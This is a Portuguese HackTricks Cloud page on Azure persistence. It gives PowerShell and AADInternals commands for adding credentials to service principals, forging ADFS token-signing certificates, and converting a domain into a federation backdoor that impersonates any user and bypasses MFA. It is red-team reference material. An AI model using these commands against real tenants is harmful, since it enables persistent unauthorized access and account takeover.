Az - Persistence
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Aplicativo OAuth
Por padrão, qualquer usuário pode registrar um aplicativo no Entra ID. Assim, você pode registrar um aplicativo (apenas para o inquilino alvo) que precisa de permissões de alto impacto com consentimento do administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá executar ataques de phishing que seriam muito frutíferos em caso de sucesso.
Além disso, você também poderia aceitar esse aplicativo com seu usuário como uma forma de manter o acesso sobre ele.
Aplicativos e Principais de Serviço
Com privilégios de Administrador de Aplicativos, GA ou um papel personalizado com permissões microsoft.directory/applications/credentials/update, podemos adicionar credenciais (secreto ou certificado) a um aplicativo existente.
É possível mirar em um aplicativo com altas permissões ou adicionar um novo aplicativo com altas permissões.
Um papel interessante para adicionar ao aplicativo seria o papel de administrador de autenticação privilegiada, pois permite reiniciar a senha de Administradores Globais.
Essa técnica também permite contornar a MFA.
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
- Para autenticação baseada em certificado
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
Federação - Certificado de Assinatura de Token
Com privilegios de DA no AD local, é possível criar e importar novos certificados de assinatura de Token e certificados de descriptografia de Token que têm uma validade muito longa. Isso nos permitirá fazer login como qualquer usuário cujo ImuutableID conhecemos.
Execute o comando abaixo como DA no(s) servidor(es) ADFS para criar novos certificados (senha padrão 'AADInternals'), adicioná-los ao ADFS, desativar a rotação automática e reiniciar o serviço:
New-AADIntADFSSelfSignedCertificates
Em seguida, atualize as informações do certificado com o Azure AD:
Update-AADIntADFSFederationSettings -Domain cyberranges.io
Federação - Domínio Confiável
Com privilégios de GA em um locatário, é possível adicionar um novo domínio (deve ser verificado), configurar seu tipo de autenticação como Federado e configurar o domínio para confiar em um certificado específico (any.sts no comando abaixo) e emissor:
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID
# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.